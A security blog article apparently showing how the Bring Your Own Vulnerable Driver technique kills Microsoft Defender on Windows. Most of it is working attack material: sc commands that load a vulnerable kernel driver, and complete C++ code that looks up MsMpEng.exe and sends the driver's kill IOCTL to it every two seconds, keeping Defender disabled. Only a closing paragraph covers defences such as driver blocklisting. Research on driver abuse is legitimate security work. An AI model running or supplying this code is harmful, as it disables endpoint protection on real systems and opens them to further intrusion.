Kernel Trust Abuse: Leveraging Vulnerable Drivers to Disable Security Controls

This article explores the use of the Bring Your Own Vulnerable Driver (BYOVD) technique to terminate protected processes on Windows systems. By loading legitimately signed yet vulnerable kernel drivers that expose arbitrary process termination capabilities, an attacker can bypass conventional user-mode restrictions and security controls.

As a practical example, we demonstrate how these drivers can be leveraged to target and terminate Microsoft Defender Antivirus (MsMpEng.exe), and discuss the broader security impact of vulnerable driver abuse.

The implementation repeatedly attempts to terminate the Windows Defender process at two-second intervals. This persistence mechanism ensures that even if the operating system or Defender's self-protection features restart the process, it is terminated again shortly thereafter. Consequently, Windows Defender remains unavailable for extended periods, significantly reducing its ability to perform real-time detection, threat analysis, and remediation activities.

Workflow to achieve this.

To implement this Windows Defender bypass technique, the following high-level workflow is performed:

1. Load and obtain a handle to the vulnerable driver.
2. Enter a continuous monitoring loop that periodically resolves the Process ID (PID) of MsMpEng.exe (Microsoft Defender Antivirus).
3. If the target process is found, issue the driver's process-termination IOCTL request, supplying the PID as an input parameter.
4. Repeat the process at regular intervals to ensure that any restarted instance of the Defender process is terminated shortly after launch.

This approach leverages the vulnerable driver's privileged functionality to perform process termination operations from kernel mode, enabling the target process to be repeatedly disrupted despite automatic restart mechanisms.

Implementation

Now, let’s look at how to translate that logic into C++ code. I have broken down the most important parts.

Load and open the vulnerable driver

sc create terminate binpath="C:\Users\s12de\Documents\Github\evasion\Techniques\TerminateProcessBYOVD\ProcessMonitorDriver.sys" type="kernel"
[SC] CreateService SUCCESS

C:\Windows\System32>sc start terminate

SERVICE_NAME: terminate
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 0
FLAGS :

And in the code:

int main(){
HANDLE hDevice = INVALID_HANDLE_VALUE;

hDevice = CreateFileA("\\\\.\\STProcessMonitorDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("Failed to open device: %d\n", GetLastError());
return 1;
}
else {
printf("Device opened successfully.\n");
}

Get Process ID

Next, the application enters a continuous loop and attempts to resolve the Process ID (PID) associated with the Windows Defender process (MsMpEng.exe). Obtaining the PID is necessary because the vulnerable driver's process-termination functionality requires the target process identifier as an input parameter.

while (true) {
UINT64 windefPID = getPIDbyProcName("MsMpEng.exe"); // Replace with the current process name you want to terminate
if (windefPID == 0) {
printf("Windows Defender process not found\n");
Sleep(2000);
continue;
}

Kill Process

If the target process is found, the application issues the appropriate IOCTL request to the vulnerable driver, passing the Process ID (PID) as an input parameter. The driver then performs the process termination operation from kernel mode, resulting in the immediate termination of the Windows Defender process.

DWORD bytesReturned;
BOOL result = DeviceIoControl(hDevice, IOCTL_KILL_PROCESS, &windefPID, sizeof(windefPID), NULL, 0, &bytesReturned, NULL);
if (result) {
printf("Process with PID %d has been terminated successfully.\n", windefPID);
}
else {
printf("Failed to terminate process with PID %d: %d\n", windefPID, GetLastError());
}

The complete code for this technique

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>

#define IOCTL_KILL_PROCESS 0xB822200C

// https://github.com/DeathShotXD/0xKern3lCrush-Foreverday-BYOVD-CVE-2026-0828

int getPIDbyProcName(const std::string& procName){
int pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnap, &pe32) != FALSE) {
std::wstring wideProcName(procName.begin(), procName.end());
do {
if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe32) != FALSE);
}

CloseHandle(hSnap);
return pid;
}

int main(){
HANDLE hDevice = INVALID_HANDLE_VALUE;

hDevice = CreateFileA("\\\\.\\STProcessMonitorDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("Failed to open device: %d\n", GetLastError());
return 1;
}
else {
printf("Device opened successfully.\n");
}
while (true) {
UINT64 windefPID = getPIDbyProcName("MsMpEng.exe"); // Replace with the current process name you want to terminate
if (windefPID == 0) {
printf("Windows Defender process not found\n");
Sleep(2000);
continue;
}

DWORD bytesReturned;
BOOL result = DeviceIoControl(hDevice, IOCTL_KILL_PROCESS, &windefPID, sizeof(windefPID), NULL, 0, &bytesReturned, NULL);
if (result) {
printf("Process with PID %d has been terminated successfully.\n", windefPID);
}
else {
printf("Failed to terminate process with PID %d: %d\n", windefPID, GetLastError());
}
Sleep(2000);
}
}

Proof of Concept

To demonstrate the impact of the vulnerable driver, a proof-of-concept (PoC) application was developed that repeatedly targets the Windows Defender process (MsMpEng.exe). The PoC loads the vulnerable driver, continuously resolves the Process ID (PID) of the target process, and issues the appropriate IOCTL request whenever the process is detected. As a result, even if Windows Defender is automatically restarted by the operating system, the process is terminated again shortly thereafter, illustrating how vulnerable drivers can be abused to undermine endpoint security controls.

Conclusion

This research demonstrates how the Bring Your Own Vulnerable Driver (BYOVD) technique can be leveraged to abuse legitimate but vulnerable kernel drivers and interfere with security-critical processes. By exposing functionality such as arbitrary process termination, these drivers can provide a pathway for attackers to bypass traditional user-mode restrictions and disrupt endpoint protection solutions.

The proof of concept highlights the risks associated with vulnerable drivers that remain loadable on modern Windows systems. Even when security products implement self-recovery mechanisms, privileged access through a vulnerable driver can significantly reduce their effectiveness. As BYOVD techniques continue to be adopted by threat actors, organizations should prioritize driver blocklisting, kernel-mode monitoring, and proactive vulnerability management to reduce their exposure to this increasingly common attack vector.

Ultimately, the security of the Windows kernel is only as strong as the drivers allowed to operate within it, making driver trust and validation a critical component of any modern defensive strategy.